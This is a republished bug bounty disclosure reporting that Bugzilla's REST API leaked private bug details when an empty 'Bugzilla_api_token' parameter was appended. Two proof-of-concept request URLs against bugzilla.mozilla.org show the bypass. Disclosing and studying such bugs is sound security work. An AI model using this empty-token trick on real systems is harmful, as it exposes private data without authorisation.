Skip to content
CSRF Disclosed report

Inefficient check of "Bugzilla_api_token" might lead to CSRF/data disclosure vulnerability in Bugzilla's REST API

Mario Gomes Follow

Originally disclosed on Mozilla

  • Fixed in 4 days
  • Paid in 10 days
  • Disclosed after 4 days
Text
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.19 Safari/537.36

Steps to reproduce:

Hey,

Bugzilla doesn't properly check the "Bugzilla_api_token" and as result of that allow attackers to obtain informations about a bug without proper authentification.

PoC: https://bugzilla.mozilla.org/rest/bug?&include_fields=id,summary,status&bug_status=UNCONFIRMED&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&email1=netfuzzerr%40gmail.com&emailassigned_to1=1&emailreporter1=1&emailtype1=exact&field0-0-0=bug_status&field0-0-1=reporter&type0-0-0=notequals&type0-0-1=equals&value0-0-0=UNCONFIRMED&value0-0-1=netfuzzerr%40gmail.com

if you visit the above URL, you'll only see the public open reports that I have filed, now if you visit:

https://bugzilla.mozilla.org/rest/bug?&include_fields=id,summary,status&bug_status=UNCONFIRMED&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&email1=netfuzzerr%40gmail.com&emailassigned_to1=1&emailreporter1=1&emailtype1=exact&field0-0-0=bug_status&field0-0-1=reporter&type0-0-0=notequals&type0-0-1=equals&value0-0-0=UNCONFIRMED&value0-0-1=netfuzzerr%40gmail.com&Bugzilla_api_token

In this second URL, you'll get the response including informations about the private bugs as well.

This occurs 'cause "Bugzilla_api_token" is present but it is empty

Let me know if you dont understand this bug and if it's necessary PoC demonstrating how this could be exploitable.

The original report as published on Mozilla's Bugzilla, by Mario Gomes. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity CSRF bug in WebService. Mozilla made it public on 3 May 2016.

About CSRF

Another site makes a signed-in user's browser perform an action they did not intend.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by Mario Gomes

View all

17 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.